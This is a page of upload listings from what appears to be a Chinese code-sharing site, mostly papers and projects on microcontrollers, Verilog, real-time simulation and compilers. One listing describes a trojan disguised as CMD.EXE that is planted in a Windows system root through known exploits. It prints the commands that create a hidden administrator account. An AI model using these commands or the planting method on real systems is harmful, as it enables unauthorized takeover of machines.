針對在51單片機上移植實時操作系統μC/OS-II的目的,以μC/OS-II工作原理為基礎,結合51單片機堆棧空間少的情況,采用改變堆棧指針到不同任務寄存器組的方法,通過改變堆棧指針的實驗,得出在堆棧空間較少的情況下,也能夠實現μC/OS-II在51單片機上的運行的結論。
上傳時間: 2013-11-13
上傳用戶:hz07104032
Verilog_HDL的基本語法詳解(夏宇聞版):Verilog HDL是一種用于數字邏輯電路設計的語言。用Verilog HDL描述的電路設計就是該電路的Verilog HDL模型。Verilog HDL既是一種行為描述的語言也是一種結構描述的語言。這也就是說,既可以用電路的功能描述也可以用元器件和它們之間的連接來建立所設計電路的Verilog HDL模型。Verilog模型可以是實際電路的不同級別的抽象。這些抽象的級別和它們對應的模型類型共有以下五種: 系統級(system):用高級語言結構實現設計模塊的外部性能的模型。 算法級(algorithm):用高級語言結構實現設計算法的模型。 RTL級(Register Transfer Level):描述數據在寄存器之間流動和如何處理這些數據的模型。 門級(gate-level):描述邏輯門以及邏輯門之間的連接的模型。 開關級(switch-level):描述器件中三極管和儲存節點以及它們之間連接的模型。 一個復雜電路系統的完整Verilog HDL模型是由若干個Verilog HDL模塊構成的,每一個模塊又可以由若干個子模塊構成。其中有些模塊需要綜合成具體電路,而有些模塊只是與用戶所設計的模塊交互的現存電路或激勵信號源。利用Verilog HDL語言結構所提供的這種功能就可以構造一個模塊間的清晰層次結構來描述極其復雜的大型設計,并對所作設計的邏輯電路進行嚴格的驗證。 Verilog HDL行為描述語言作為一種結構化和過程性的語言,其語法結構非常適合于算法級和RTL級的模型設計。這種行為描述語言具有以下功能: · 可描述順序執行或并行執行的程序結構。 · 用延遲表達式或事件表達式來明確地控制過程的啟動時間。 · 通過命名的事件來觸發其它過程里的激活行為或停止行為。 · 提供了條件、if-else、case、循環程序結構。 · 提供了可帶參數且非零延續時間的任務(task)程序結構。 · 提供了可定義新的操作符的函數結構(function)。 · 提供了用于建立表達式的算術運算符、邏輯運算符、位運算符。 · Verilog HDL語言作為一種結構化的語言也非常適合于門級和開關級的模型設計。因其結構化的特點又使它具有以下功能: - 提供了完整的一套組合型原語(primitive); - 提供了雙向通路和電阻器件的原語; - 可建立MOS器件的電荷分享和電荷衰減動態模型。 Verilog HDL的構造性語句可以精確地建立信號的模型。這是因為在Verilog HDL中,提供了延遲和輸出強度的原語來建立精確程度很高的信號模型。信號值可以有不同的的強度,可以通過設定寬范圍的模糊值來降低不確定條件的影響。 Verilog HDL作為一種高級的硬件描述編程語言,有著類似C語言的風格。其中有許多語句如:if語句、case語句等和C語言中的對應語句十分相似。如果讀者已經掌握C語言編程的基礎,那么學習Verilog HDL并不困難,我們只要對Verilog HDL某些語句的特殊方面著重理解,并加強上機練習就能很好地掌握它,利用它的強大功能來設計復雜的數字邏輯電路。下面我們將對Verilog HDL中的基本語法逐一加以介紹。
標簽: Verilog_HDL
上傳時間: 2014-12-04
上傳用戶:cppersonal
介紹了基于Matlab/RTW(Real-time Workshop)和RTX(Real-time extension)構建實時仿真系統的方法;針對基于RTX的實時仿真系統不能直接進行在線調參的不足,提出了一種利用C API(C文件應用程序接口)實現在線調參的方法。經過實驗證明,此仿真系統不僅具有很強的實時性,并且擁有良好的人機交互能力;另外,在線調參功能的實現使仿真試驗的效率得到了大大的提高,而且還可以作為一種故障注入方法來考察模型的容錯能力,是基于RTX實時仿真系統的一大改良。
上傳時間: 2014-03-20
上傳用戶:lizhizheng88
針對數據在性態和類屬方面存在不確定性的特點,提出一種基于模糊C 均值聚類的數據流入侵檢測算法,該算法首先利用增量聚類得到網絡數據的概要信息和類數,然后利用模糊C均值聚類算法對獲取的數據特征進行聚類。實驗結果表明該算法可以有效檢測數據流入侵。
上傳時間: 2015-01-03
上傳用戶:fujiura
TLP2301是東芝新推出的一款SOP封裝晶體管輸出光耦合器,相比傳統的晶體管輸出光耦TLP2301在晶片上進行了改善,可以在低至1mA的輸入電流下進行驅動,同時保證了20k的傳輸速率,并且有非常廣的工作溫度:-55至125°C。TLP2303則采用達靈頓輸出。
上傳時間: 2013-11-08
上傳用戶:邶刖
基于實際的雕刻控制平臺能有效地讀取CAD軟件設計圖形的數據參數的目的,采用了AutoCAD強大的繪圖功能與C語言強有力的計算、輸入和輸出等功能相結合的方法。通過研究分析AutoCAD的DXF文件數據格式及組成,結合C語言的文件管理功能,設計出了C語言與AutoCAD接口程序,并給出了具體的設計方法。通過自行開發軟件與AutoCAD之間建立數據通道,實現數據傳遞和共享(即對DXF中的實體(如直線、圓等)進行坐標提取)的實驗,證明了該方法的實用性和便利性。
上傳時間: 2013-11-02
上傳用戶:pzw421125
一. 實驗目的: 設計、編寫和調試一個具體的詞法分析程序,加深對詞法分析理論和自動詞法分析工具的理解、實踐和掌握。 二. 實驗要求: ① 學習和理解正則表達式理論,寫出C—語言的記號的完整的正則表達式;(適當使用正則定義) ② 學習和理解有限機理論,根據前面的正則表達式,用基于經驗的方法畫出C—語言的記的DFA圖; ③ 用基于DFA圖的算法編寫C—語言的詞法分析程序; ④ 學習詞法分析程序的自動生成工具,使用LEX工具實現C—語言的詞法分析程序.
上傳時間: 2013-12-19
上傳用戶:jqy_china
你是不是經常在開始菜單的運行窗口里運行命令呢? 看看這個漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在執行搜索的時候, 首先查找根目錄 而開始菜單的運行窗口里執行命令, 也是首先在系統盤的根目錄里進行查找. 這個漏洞其實是已經是公開的秘密了. 既然現在作為漏洞公布出來, 我也就把網上的PasswordReminder.cpp拿來改了改 加了一個加超級管理員用戶和執行cmd.exe的功能. 使用方法: 把程序解壓, 把壓縮包里的文件 CMD.EXE (該文件具有隱藏和只讀屬性) 釋放到目標機器的系統盤根目錄, 一般都是在C:比如利用UNICODE/Decode漏洞就有寫根目錄的權限, 同時Asp/fp30reg.dll等遠程溢出出來的Shell, 一般都只有匿名權限, 但是它具有寫根目錄的權限 這個時候, 就可以把本程序放到目標機器的系統盤根目錄 只要等管理員在機器的開始菜單里運行命令: cmd 一切盡在掌握中.:) PS: 系統執行后, 會先產生一個線程來做一些處理 然后用system()函數調用cmd.exe來讓用戶能夠執行命令. 產生出來的線程會產生兩個進程序執行如下兩個命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 這樣就在系統上增加了一個超級
上傳時間: 2015-01-12
上傳用戶:qlpqlq
精電的12864驅動原碼,asm和c.
上傳時間: 2015-03-08
上傳用戶:2467478207
此系統是一個專門為一個童裝行業客戶做的。。“產品”進銷存系統,只是對產品,沒有對原料。。。 系統模塊主要分 基本資料 _客戶資料 _產品資料 _產品組別 _款式資料 ...... 業務管理 _成品入庫 _生產退貨 _客戶送貨 -客戶退貨 _....... 報表統計 -銷售情況 _進銷存日報 .... 系統管理 _用戶管理 _.... 其中....沒有寫出來,,請下載后自己后。。 后臺數據庫用的是Er/studio設計,先寫成C/S結構,等完成了后,(拿到MONEY后)就將其加進原料進銷存...生產管理..等,請各位關注,,并提出建議......謝謝!
標簽: 進銷存系統
上傳時間: 2015-03-14
上傳用戶:gaojiao1999